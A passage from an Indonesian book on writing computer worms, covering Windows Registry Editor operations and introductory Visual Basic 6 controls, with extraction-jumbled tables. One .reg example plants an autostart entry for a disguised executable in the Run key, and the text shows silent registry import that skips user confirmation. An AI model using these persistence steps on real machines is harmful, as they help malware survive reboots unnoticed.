3. Untuk menutup aplikasi Registry Editor, klik menu 'Registry kemudian klik 'Exit.

Jasakom

32

Computer Worm 1 - Secret of Undeground Coding : Uncensored

3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR


Lingkungan kerja Registry Editor meliputi: 1. Menubar yang pada versi Windows 9x dan ME terdiri dari menu Registry, Edit, View dan Help sementara pada Windows 2000 dan XP terdiri dari File, Edit, View, Favorites dan Help 2. Explorerbar yang berupa folder tree di sisi kiri dan content list di sisi kanan.

3.3 OPERASI DASAR REGISTRY EDITOR


Sebaiknya kita memanipulasi registry jika hal tersebut sungguh perlu untuk dilakukan, karena jika ada suatu kesalahan dalam melakukan perubahan pada registry, komputer bisa menjadi tidak berfungsi dengan normal. Namun jika hal ini terjadi, Anda masih dapat mengembalikan pengaturan registry tersebut ke kondisi saat terakhir komputer sukses di jalankan dengan normal.

33

Jasakom

Bab 3. Registry Windows

Computer Worm 1 - Secret of Underground Coding : Uncensored

3.3.1 BACKUP & RESTORE REGISTRY


Pada Windows 95, disertakan sebuah file utility pada CD installer Windows 95 yang bernama cfgback.exe. File ini berada pada folder \Other\Misc\Cfgback. Utility ini sanggup membuat 9 salinan registry yang berbeda, dan disimpan dengan ekstensi *.rbk pada direktori Windows, dengan utility ini pula file *.rbk tersebut diubah kembali menjadi registry aktif. Pada Microsoft Windows 98, system secara otomatis membuat backup registry setiap kali Windows startup, walau demikian kita bisa membuat backup secara manual dengan menggunakan perintah SCANREGW.EXE dari Startmenu, kemudian klik Run dan ketik 'scanregw pada TextBox Open.

Bab 3. Registry Windows

Untuk mengubah data backup kembali menjadi registry aktif dapat menggunakan langkah-langkah berikut: 1. Klik Startmenu, kemudian klik Shut Down 2. Pilih opsi Restart in MS-DOS Mode, klik OK 3. Pada MS-DOS Prompt, ketik: SCANREG /RESTORE Ikuti petunjuk yang diberikan, pilih tanggal backup saat terakhir komputer sukses di jalankan dengan normal, dan akhiri dengan me-restart komputer.

Jasakom

34

Computer Worm 1 - Secret of Undeground Coding : Uncensored

3.3.2 EXPORT & IMPORT DATA REGISTRY


Untuk mengekspor sebagian atau seluruh data registry pada suatu file text, dapat dilakukan dengan cara: 1. Klik My Computer untuk mengekspor seluruh data registry, atau klik suatu hive untuk mengekspor isi dari hive tersebut 2. Pada menu Registry, klik Export Registry File, tentukan lokasi penyimpanan file yang diekspor, kemudian ketik nama file yang diinginkan. File yang dibuat akan berekstensi *.reg, dan bisa diubah dengan menggunakan text editor apa saja. Untuk mengimpor suatu data registry dari file yang berekstensi *.reg, dapat dilakukan dengan cara, pada menu Registry, klik Import Registry File. Tentukan lokasi dan nama file yang ingin diimpor, kemudian klik Open.

3.3.3 MANIPULASI KEY & VALUE


Untuk menambah suatu key, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada hive yang akan ditambahkan key baru 2. Klik Edit pada menubar, arahkan pada opsi New dan pilih Key

3. Sebuah key baru akan muncul dengan nama default seperti 'New Key #1 4. Ketik nama yang diinginkan, dan tekan enter.

35

Jasakom

Bab 3. Registry Windows

Computer Worm 1 - Secret of Underground Coding : Uncensored

Untuk menambah suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada hive yang akan ditambahkan value baru 2. Klik menu Edit, arahkan pada opsi New dan pilih jenis value yang ingin ditambahkan: String Value, Binary Value, atau DWORD Value 3. Sebuah value baru akan muncul dengan nama default seperti 'New Value #1 4. Ketik nama yang diinginkan, dan tekan enter. Untuk mengubah data pada suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada value yang akan diubah datanya 2. Klik menu Edit, kemudian klik Modify, sebuah kotak dialog editor akan muncul sesuai dengan jenis data value yang akan diubah. Lakukan perubahan dan tekan enter untuk mengakhirinya. Untuk menghapus suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang akan dihapus 2. Klik menu Edit, kemudian klik Delete. Untuk mengubah nama suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang namanya akan diubah 2. Klik menu Edit, kemudian klik Rename 3. Ketik nama yang diinginkan, dan tekan enter.

Bab 3. Registry Windows

Jasakom

36

Computer Worm 1 - Secret of Undeground Coding : Uncensored

3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA


Registry Editor juga menyediakan fasilitas find (pencarian) yang sangat berguna apabila kita mencari suatu string tertentu pada registry, hal ini dapat dilakukan dengan cara sebagai berikut: 1. Klik My Computer untuk melakukan pencarian pada seluruh data registry, atau klik suatu hive untuk memulai pencarian dari isi hive tersebut 2. Klik menu Edit, kemudian klik Find 3. Akan tampil sebuah kotak dialog Find. Ketikan suatu string yang ingin dicari pada textbox 'Find what, kemudian beri tanda check pada opsi Keys, Values atau Data untuk melakukan pencarian pada masing-masing opsi tersebut

4. Klik Find Next, jika Registry Editor menemukan string yang Anda cari maka secara otomatis Registry Editor akan menyorot pada string tersebut. Untuk mengulang pencarian dengan string yang sama Anda tinggal mengklik 'Find Next pada menu Edit

37

Jasakom

Bab 3. Registry Windows

Computer Worm 1 - Secret of Underground Coding : Uncensored

5. Jika string yang dicari hingga string terakhir dari Keys, Values atau Data tidak juga ditemukan maka akan muncul sebuah kotak pesan sebagai berikut:

Bab 3. Registry Windows

3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE)


Registry Editor memiliki beberapa pilihan perintah baris untuk mempermudah otomasi dalam penggunaan batch file atau perintah langsung dari DOS prompt. Bentuk umumnya adalah:
regedit.exe [options] [filename] [regpath]

Beberapa contoh penggunaan parameter perintah regedit ini adalah : regedit [filename] , akan mengimpor data file *.reg ke dalam registry aktif, contoh:
regedit c:\file.reg

Data pada file file.reg akan di install atau dimasukkan ke dalam registry windows. Contoh lainnya adalah regedit /s [filename] yang akan menyembunyikan kotak dialog konfirmasi saat mengimpor file *.reg, contoh:
regedit /s c:\file.reg

Jasakom

38

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Dengan perintah ini, regedit tidak akan menampilkan konfirmasi kepada user saat memasukkan data file.reg ke dalam registry. Dengan perintah : regedit /e [filename] [regpath], data dari registry akan diekspor ke [filename] yang dimulai pada [regpath], contoh: Bab 3. Registry Windows
regedit /e file.reg HKEY_USERS\.DEFAULT

3.3.6 MEMANFAATKAN FILE REG


File reg sudah terasosiasi dengan aplikasi Registry Editor, sehingga apabila kita melakukan klik ganda pada file reg, maka file reg tersebut akan diimpor pada registry aktif, yang sebelumnya akan menampilkan sebuah kotak dialog konfirmasi. Klik Yes apabila Anda yakin untuk mengimpor file reg tersebut.

Contoh file reg berikut akan membuat sebuah String Value bernama 'winsys dengan data 'c:\windows\w32bla.exe pada lokasi registry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. Apabila value tersebut sudah ada pada lokasi registry tersebut maka data dari value tersebut akan di-overwrite dengan data yang baru.

REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "winsys"="c:\\windows\\w32bla.exe"

39

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Contoh lain untuk membuat sebuah DWORD Value dan Binary Value:
REGEDIT4 [HKEY_CURRENT_USER\Control Panel\Desktop] "ScreenSaveUsePassword"=dword:00000000 "SmoothScroll"=hex:00,00,00,00

Bab 3. Registry Windows

File reg juga dapat digunakan untuk menghapus suatu key atau value pada registry aktif, dengan memberi tanda '-'. Contoh berikut ini akan menghapus key registry aktif pada HKEY_CURRENT_USER\Software\Malcode
REGEDIT4 [-HKEY_CURRENT_USER\Software\Malcode]

Contoh lain untuk menghapus sebuah value:


REGEDIT4 [HKEY_CURRENT_USER\Control Panel\Desktop] "ScreenSaveUsePassword"=-

Catatan:
Penulis menemukan suatu bug pada cara ini dimana aplikasi Registry Editor tidak akan mengeksekusi baris terakhir, jadi pastikan ada baris kosong pada akhir file, untuk itu klik bagian bawah teks terakhir, apabila kursor berpindah ke baris kosong maka cara tersebut sudah benar, jika tidak maka tempatkan kursor pada akhir teks, kemudian tekan enter untuk membuat baris baru dibawahnya. Perhatikan pada teks awal yakni "REGEDIT4", tidak terdapat spasi diantara REGEDIT dan 4. Perhatikan juga teks "dword" dan "hex", teks ini menggunakan lowercase (huruf kecil).

Jasakom

40

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 4 MENGENAL VISUAL BASIC 6.0


Bab 4. Mengenal Visual Basic

Kenapa bab ini ada?

Visual Basic merupakan salah satu bahasa pemrograman yang banyak digunakan para worm writer untuk membuat worm, dengan Visual Basic pula seorang administrator sistem bisa membuat sebuah removal tool (alat pembersih) untuk worm. Bab ini akan mengenalkan kita pada tampilan, peralatan dan dasar-dasar penggunaan aplikasi Visual Basic.

41

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

V
Bab 4. Mengenal Visual Basic

isual Basic 6.0 adalah salah satu bahasa pemrograman tingkat tinggi yang berguna untuk membuat suatu aplikasi dengan cepat dan mudah. Visual Basic dibuat dalam lingkungan Microsoft Windows sehingga mampu berinteraksi dengan seluruh aplikasi Windows. Didalam pengembangan program, aplikasi Visual Basic 6.0 banyak didukung fasilitas-fasilitas tambahan sehingga mampu menghasilkan program yang bermutu tinggi.

4.1 LINGKUNGAN KERJA VISUAL BASIC


Seperti aplikasi Windows pada umumnya, IDE (Integrated Development Environment) atau lingkungan kerja dari Visual Basic juga memiliki menubar, toolbar dan beberapa jendela tambahan seperti Project Explorer, Form Properties Window, Layout Window, Toolbox, Form Window Dan Code Editor.

Jendela Utama Visual Basic 6.0

Jasakom

42

Computer Worm 1 - Secret of Undeground Coding : Uncensored

4.1.1 MENUBAR
Menubar adalah kumpulan instruksi yang diklasifikasikan menjadi beberapa menu lainnya.

4.1.2 TOOLBAR
Toolbar berfungsi sama seperti menubar, hanya saja toolbar adalah tombol-tombol shortcut yang mewakili suatu perintah tertentu dari Visual Basic.

Untuk memilih suatu proses yang akan dilakukan, Anda tinggal mengklik icon yang sesuai. Dengan adanya toolbar, pengguna akan dimudahkan dalam memilih proses yang sering dilakukan tanpa harus memilihnya melalui menubar.

4.1.3 PROJECT EXPLORER


Project Explorer adalah jendela yang menampilkan semua file di dalam aplikasi Visual Basic. Setiap aplikasi dalam Visual Basic disebut dengan istilah project, dan setiap project bisa mengandung lebih dari satu object misalnya form, module, class, dan sebagainya.

43

Jasakom

Bab 4. Mengenal Visual Basic

Menubar berupa menu dropdown yang terdiri dari menu File, Edit, View, Project, Format, Debug, Run, Query, Diagram, Tools, Add-Ins, Window dan menu Help.

Computer Worm 1 - Secret of Underground Coding : Uncensored

4.1.4 PROPERTIES WINDOWS


Properties Windows adalah jendela yang menampilkan semua informasi mengenai object yang terdapat pada aplikasi Visual Basic. Properties disini diartikan sebagai sifat dari sebuah object misalnya nama, jenis huruf, warna, ukuran, dan sebagainya. Bab 4. Mengenal Visual Basic

4.1.5 FORM LAYOUT WINDOW


Form layout window berguna untuk melihat dan mengatur posisi form pada layar monitor saat form aktif. Untuk menggunakan jendela ini tinggal mengklik icon form dan menggesernya ke posisi yang diinginkan.

4.1.6 TOOLBOX
Toolbox adalah sebuah "kotak peralatan" yang memuat object atau control yang dibutuhkan untuk membentuk suatu program aplikasi. Control adalah object yang menjadi perantara antara program aplikasi dan pengguna, yang kesemuanya diletakkan di dalam jendela form.

Jasakom

44

Computer Worm 1 - Secret of Undeground Coding : Uncensored

4.1.7 FORM WINDOW


Form Window adalah tempat untuk membuat tampilan bagi program yang dibuat, Anda bisa menambahkan control object pada Form Window. Bab 4. Mengenal Visual Basic

4.1.8 CODE WINDOW


Code Window atau jendela kode adalah tempat kode dan instruksi-instruksi pemrograman diketikkan dalam bahasa Visual Basic.

Untuk membuka jendela kode ada beberapa cara: 1. Klik View pada menubar, kemudian klik Code, atau tekan tombol Alt+V kemudian tekan tombol C 2. Klik kanan pada bidang form, kemudian klik View Code 3. Klik ganda pada bidang form atau control object yang ada 4. Klik kanan pada Project Explorer, kemudian klik View Code 5. Klik icon View Code pada Project Explorer.

45

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

4.2 PEMBUATAN APLIKASI


Pembuatan sebuah program aplikasi harus dikerjakan dalam sebuah project, menambahkan control object yang dibutuhkan, kemudian menulis kode program dan menjalankan program tersebut. Terakhir ,program tersebut akan di compile sehingga menjadi sebuah file executable. Sebuah project bisa terdiri dari file project (.vbp), file form (.frm), data binary untuk setiap form (.frx), module class (.cls), module (.bas), dan resource file (.res). Bab 4. Mengenal Visual Basic

4.2.1 MEMBUAT PROYEK


Pada saat memulai Visual Basic akan tampil jendela New Project, untuk membuat sebuah project standar klik icon Standar EXE pada tab New dan klik Open, atau klik File pada menubar kemudian pilih New Project.

Jasakom

46

Computer Worm 1 - Secret of Undeground Coding : Uncensored

4.2.2 MENYISIPKAN CONTROL


Untuk menambahkan control object dapat dilakukan dengan cara: 1. Klik ganda control object yang diinginkan pada toolbox 2. Klik control object, kemudian klik (tahan) pada bidang form dan geser mouse sampai ukuran yang diinginkan.

4.2.3 SETTING PROPERTIES


Setiap form dan control sudah memiliki properties yang di-setting secara default ketika sebuah project dibuat. Untuk mengubah ukuran, letak atau jenis huruf yang digunakan bisa dilakukan dengan mengatur properties pada object. Ada dua cara untuk melihat properties dari sebuah object: 1. Klik pada object form atau Control pada Form Window, kemudian klik pada jendela properties atau tombol Properties Window pada toolbar. 2. Klik pada jendela properties, kemudian pilih object yang dimaksud pada kotak Object pada Properties Window.

4.2.4 MENGETIK KODE PROGRAM


Pengetikan kode program dilakukan pada jendela kode, contoh kode

47

Jasakom

Bab 4. Mengenal Visual Basic

Computer Worm 1 - Secret of Underground Coding : Uncensored

program yang ditulis pada jendela kode adalah sebagai berikut:

Bab 4. Mengenal Visual Basic

4.2.5 MENYIMPAN PROGRAM


Menyimpan program dapat dilakukan dengan beberapa cara, yaitu: 1. Tekan tombol Ctrl+S 2. Klik tombol Save pada toolbar 3. Klik File pada menubar kemudian pilih Save.

4.2.6 MENJALANKAN PROGRAM


Untuk melihat hasil dari program aplikasi yang telah dibuat, dapat dilakukan dengan menjalankan atau mengeksekusi program tersebut dengan cara: 1. Tekan tombol F5 pada keyboard 2. Klik Run pada menubar kemudian pilih Start 3. Klik icon Start (u) pada toolbar.

Jasakom

48

Computer Worm 1 - Secret of Undeground Coding : Uncensored

4.2.7 KOMPILASI PROGRAM MENJADI EXE


Kompilasi adalah tahap terakhir dalam pembuatan sebuah program aplikasi, dimana program yang telah selesai akan dibuat menjadi sebuah file executable, yang dapat dieksekusi tanpa menggunakan program aplikasi Visual Basic. Untuk mengkompilasi dapat dilakukan dengan cara: 1. Klik File pada menubar, kemudian klik Make Nama_Proyek.Exe Bab 4. Mengenal Visual Basic Akan tampil kotak dialog Make Project, 2. Isi textbox File name dengan nama file Exe yang akan dibuat, default-nya adalah nama dari project Anda. Pilih direktori tempat file tersebut akan diletakkan nanti. Klik OK. Tunggu sampai proses selesai.

49

Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 5 OBJECT FORM DAN CONTROL

Kenapa bab ini ada? Dalam mempelajari aplikasi Visual Basic tak terlepas dari istilah object dan control, maka untuk melanjutkan bab sebelumnya bab ini akan membahas lebih jauh mengenai object dan control yang terdapat pada aplikasi Visual Basic. Selain mengenal beberapa object dan control bab ini juga memuat beberapa event dan properties yang sering digunakan pada object dan control tersebut.

51

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

O
Bab 5. Object Form dan Control

bject adalah segala sesuatu yang ada pada program. Setiap object pada Visual Basic didefinisikan oleh suatu class. Object bisa berupa form dan control, jadi bisa dikatakan bahwa form dan control adalah suatu class. Class adalah definisi formal suatu object dan berfungsi sebagai template dari suatu object yang dibuat saat run-time, class mendefinisikan setiap properti dan metode untuk mengontrol tindakan object. Properti adalah penanda suatu object yang mengatur sifat-sifat object tersebut seperti nama, jenis huruf yang digunakan, warna, ukuran dan lain sebagainya. Sedangkan metode disini berarti suatu procedure yang dikenakan pada suatu object, metode memanfaatkan object untuk melakukan suatu kejadian tertentu. Pada saat kita membuat project baru, Visual Basic menyediakan control standar untuk digunakan pada form, control standar tersebut disebut control intrinsic, control ini juga merupakan class-class yang sudah tersedia. Bab ini akan membahas tentang properti dan event atas form dan control-control intrinsic tersebut. Event adalah suatu kejadian yang direspon oleh object, seperti klik mouse, klik tombol keyboard dan lain sebagainya. Perlu Anda ketahui bahwa event suatu control bisa dieksekusi oleh control lainnya.

Jasakom

52

Computer Worm 1 - Secret of Undeground Coding : Uncensored

5.1 FORM
Form berfungsi sebagai perantara antara program dan user. Saat kita membuat project (Standard EXE) baru, Visual Basic secara otomatis memberikan sebuah form bernama Form1. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk merancang suatu form:

PROPERTI
(Name) BackColor BorderStyle Caption ControlBox Enabled

KETERANGAN
Nama form biasanya diberi prefix frm Warna latar belakang form Model Titel atau judul form Menampilkan atau menyembunyikan tombol control (minimize, restore/ maximize, close) pada form Jika bernilai true, mengijinkan form untuk merespon event mouse dan keyboard. Jika bernilai false, form akan menolak event tersebut. Mengatur jenis, model dan ukuran huruf Tinggi form Menetapkan icon untuk form tersebut atau aplikasi apabila form tersebut terpilih sebagai Startup Object. Jika bernilai false, maka tombol maximize menjadi disable (tidak aktif) Menetapkan apakah form tersebut MDI (Multiple Document Interface) atau tidak. Jika bernilai false, maka tombol minimize menjadi tidak aktif Memasukan object gambar pada form.

Font Height Icon MaxButton MDIChild MinButton Picture

53

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

PROPERTI
Visible ShowInTaskbar StartUpPosition Tag Width

KETERANGAN
Mengatur apakah form akan ditampilkan pada user atau menyembunyikannya. Mengatur apakah form akan ditampilkan pada taskbar atau menyembunyikannya. Posisi form pada layar monitor, saat di-load Digunakan sebagai kontainer untuk data dari control yang ingin disimpan Lebar form Mengatur ukuran tampilan form saat di-load apakah minimize atau maximize.

Bab 5. Object Form dan Control

WindowState

Event adalah kejadian yang berpengaruh langsung pada form, contoh beberapa event yang biasanya dimanfaatkan:

EVENT
Activate Click DblClick Load Unload Terminate

SAAT TERJADI
Form terpilih dan menjadi aktif User mengklik pada bidang form User melakukan double click pada bidang form Form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan Form di non-aktifkan atau sesaat sebelum mengakhiri form tersebut Form diakhiri, baik mengikuti procedure atau diluar dari procedure yang ada.

5.2 KONTROL
Control adalah object yang ditempatkan pada bidang form sebagai perantara program dan user baik sebagai media masukan atau keluaran.

Jasakom

54

Computer Worm 1 - Secret of Undeground Coding : Uncensored

5.2.1 PICTUREBOX
Dengan control PictureBox kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control PictureBox:

PROPERTI
(Name) Align AutoSize BackColor BorderStyle Height Left Picture TabIndex TabStop Width

KETERANGAN
Nama PictureBox, biasanya diberi prefix pic Pengaturan posisi PictureBox pada form

Warna latar belakang PictureBox Mengatur garis tepi pada form Tinggi PictureBox Jarak PictureBox pada batas tepi kiri form Memasukan object gambar pada PictureBox. Urutan perpindahan tabulasi Jika false, maka control tersebut tidak akan terfokus Lebar PictureBox.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan:

EVENT
Change Click DblClick

SAAT TERJADI
Terjadi perubahan pada PictureBox, misalnya pada properti Picture User mengklik pada bidang PictureBox User melakukan double click pada bidang PictureBox.

55

Jasakom

Bab 5. Object Form dan Control

Jika true, maka ukuran PictureBox akan menyesuaikan object gambar didalamnya.

Computer Worm 1 - Secret of Underground Coding : Uncensored

5.2.2 LABEL
Control Label digunakan untuk membuat label pada bidang form yang biasanya berfungsi sebagai pemberi keterangan. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI (Name) Alignment AutoSize BackColor BackStyle BorderStyle Caption Font ForeColor Height ToolTipText Visible Width

KETERANGAN Nama Label, biasanya diberi prefix lbl Mengatur perataan teks pada Label Jika true, maka ukuran Label akan menyesuaikan pada ukuran teks. Warna latar belakang Label Jika transparent, maka latar belakang Label menjadi transparan. Mengatur garis tepi pada Label Mengatur teks yang akan ditampilkan Label Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada Label Tinggi Label Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada Label. Jika false, maka Label tidak ditampilkan Lebar Label.

Bab 5. Object Form dan Control

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Click DblClick

SAAT TERJADI
Terjadi perubahan pada Label, misalnya pada properti Caption User mengklik pada bidang Label User melakukan double click pada bidang Label.

Jasakom

56

Computer Worm 1 - Secret of Undeground Coding : Uncensored

5.2.3 TEXTBOX
Control TextBox digunakan sebagai tempat masukan atau keluaran data berupa teks. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI
(Name) Alignment Height MaxLength MultiLine PasswordChar ScrollBars Text ToolTipText Visible Width

KETERANGAN
Nama TextBox, biasanya diberi prefix txt Mengatur perataan teks pada TextBox Tinggi TextBox Mengatur batas jumlah karakter yang bisa dimasukkan pada TextBox Jika true, maka memungkinkan untuk menggunakan teks lebih dari satu baris. Mengatur karakter untuk password Mengatur scrollbar pada TextBox Mengatur teks yang akan ditampilkan TextBox Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada TextBox. Jika false, maka TextBox tidak ditampilkan Lebar TextBox.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan:

EVENT Change Click DblClick

SAAT TERJADI Terjadi perubahan pada TextBox, misalnya pada properti Text User mengklik pada bidang TextBox User melakukan double click pada bidang TextBox.

57

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

5.2.4 FRAME
Control Frame biasanya digunakan untuk mengelompokkan control dalam suatu area frame, dimana lokasi control (left, right, top) yang berada didalamnya akan menyesuaikan dengan lingkungan frame tersebut. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Caption Height Width

KETERANGAN
Nama Frame, biasanya diberi prefix fra Mengatur teks judul yang akan ditampilkan Frame Tinggi Frame Lebar Frame.

Bab 5. Object Form dan Control

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick

SAAT TERJADI
User mengklik pada bidang Frame User melakukan double click pada bidang Frame.

5.2.5 COMMANDBUTTON
Control CommandButton adalah control yang berupa tombol, yang digunakan untuk mengeksekusi suatu instruksi tertentu. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Caption DisabledPicture

KETERANGAN
Nama CommandButton, biasanya diberi prefix cmd Warna latar belakang CommandButton apabila properti Style diatur pada opsi graphical Mengatur teks yang akan ditampilkan CommandButton. Mengatur gambar untuk latar belakang CommandButton saat properti Enabled adalah false dan properti Style diatur pada opsi graphical

Jasakom

58

Computer Worm 1 - Secret of Undeground Coding : Uncensored

DownPicture

Mengatur gambar untuk latar belakang CommandButton pada saat posisi tombol diklik, dengan syarat properti Enabled adalah false dan properti Style diatur pada opsi graphical Jika bernilai true, mengijinkan CommandButton untuk merespon event mouse dan keyboard. Jika bernilai false, CommandButton akan menolak event tersebut. Mengatur jenis, model dan ukuran huruf Tinggi CommandButton Mengatur gambar untuk latar belakang CommandButton jika properti Enabled adalah true dan properti Style diatur pada opsi graphical Urutan perpindahan tabulasi Jika false, maka control tersebut tidak akan terfokus Lebar CommandButton.

Enabled

Font Height Picture

TabIndex TabStop Width

Dibawah ini adalah event yang selalu dimanfaatkan: EVENT


Click

SAAT TERJADI
User mengklik pada CommandButton

5.2.6 CHECKBOX
Control CheckBox adalah control yang berupa kotak pilihan, digunakan untuk informasi masukan yang dapat bernilai true atau false. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Alignment BackColor

KETERANGAN
Nama CheckBox, biasanya diberi prefix chk Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan CheckBox Warna latar belakang CheckBox

59

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

Caption Enabled

Mengatur teks yang akan ditampilkan CheckBox Jika bernilai true, mengijinkan CheckBox untuk merespon event mouse dan keyboard. Jika bernilai false, CheckBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada CheckBox Tinggi CheckBox Jika bernilai checked maka berarti kotak opsi dipilih (ditandai dengan tanda centang pada kotak opsi). Lebar CheckBox.

Font ForeColor Height Value

Bab 5. Object Form dan Control

Width

Di bawah ini adalah event yang selalu dimanfaatkan: EVENT


Click

SAAT TERJADI
User mengklik pada CheckBox

5.2.7 OPTIONBUTTON
Control OptionButton adalah control yang berupa pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Alignment BackColor Caption Enabled

KETERANGAN
Nama OptionButton, biasanya diberi prefix opt Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan OptionButton Warna latar belakang OptionButton Mengatur teks yang akan ditampilkan OptionButton Jika bernilai true, mengijinkan OptionButton untuk merespon event mouse dan keyboard. Jika bernilai false, OptionButton akan menolak event tersebut

Jasakom

60

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Font ForeColor Height Value Width

Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada OptionButton Tinggi OptionButton Jika bernilai true maka berarti kotak opsi dipilih (ditandai dengan tanda titik pada opsi). Lebar OptionButton.

Dibawah ini adalah event yang selalu dimanfaatkan: EVENT


Click DblClick

SAAT TERJADI
User mengklik pada OptionButton User melakukan double click pada OptionButton.

5.2.8 COMBOBOX
Control ComboBox adalah control yang biasanya berupa suatu daftar pilihan dan digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI (Name) BackColor Enabled KETERANGAN Nama ComboBox, biasanya diberi prefix cbo Warna latar belakang ComboBox Jika bernilai true, mengijinkan ComboBox untuk merespon event mouse dan keyboard. Jika bernilai false, ComboBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada ComboBox Tinggi ComboBox Jika true, maka data pada ComboBox bisa diubah saat run-time Mengurutkan pilihan yang ada pada ComboBox Isi ComboBox Lebar ComboBox.

Font ForeColor Height Locked Sorted Text Width

61

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Click DblClick GotFocus LostFocus

SAAT TERJADI
Terjadi perubahan pada ComboBox User mengklik pada ComboBox User melakukan double click pada ComboBox ComboBox mendapat fokus Sesaat sebelum fokus berpindah dari ComboBox.

Bab 5. Object Form dan Control

5.2.9 LISTBOX
Control ListBox adalah control berupa kotak daftar berisi pilihanpilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Columns Enabled

KETERANGAN
Nama ListBox, biasanya diberi prefix lst Warna latar belakang ListBox Mengatur jumlah kolom pada ListBox Jika bernilai true, mengijinkan ListBox untuk merespon event mouse dan keyboard. Jika bernilai false, ListBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada ListBox Tinggi ListBox Daftar pilihan yang ditampilkan pada ListBox Mengurutkan pilihan yang ada pada ListBox Jika bernilai checkbox, pemilihan bisa lebih dari dua opsi dengan memberi centang pada opsi-opsi yang dipilih Lebar ListBox.

Font ForeColor Height List Sorted Style Width

Jasakom

62

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus ItemCheck LostFocus

SAAT TERJADI
User mengklik pada ListBox User melakukan double click pada ListBox ListBox mendapat fokus Saat sebuah opsi dipilih dengan memberikan tanda centang

5.2.10 HSCROLLBAR
Control HScrollBar atau horizontal scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk horisontal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled

KETERANGAN
Nama HScrollBar, biasanya diberi prefix hsb Jika bernilai true, mengijinkan HScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, HScrollBar akan menolak event tersebut Tinggi HScrollBar Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat area bar di klik Mengatur nilai terbesar pada properti Value, jangkauan terbesar adalah 32,767 Mengatur nilai terkecil pada properti Value, jangkauan terkecil antara -32,768 Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat panah scroll di klik Lebar HScrollBar.

Height LargeChange

Max Min SmallChange

Width

63

Jasakom

Bab 5. Object Form dan Control

Sesaat sebelum fokus berpindah dari ListBox.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Scroll

SAAT TERJADI
Terjadi perubahan pada HScrollBar User melakukan penggulungan dengan mengklik area bar atau panah scroll.

Bab 5. Object Form dan Control

5.2.11 VSCROLLBAR
Control VScrollBar atau vertical scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk vertikal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled

KETERANGAN
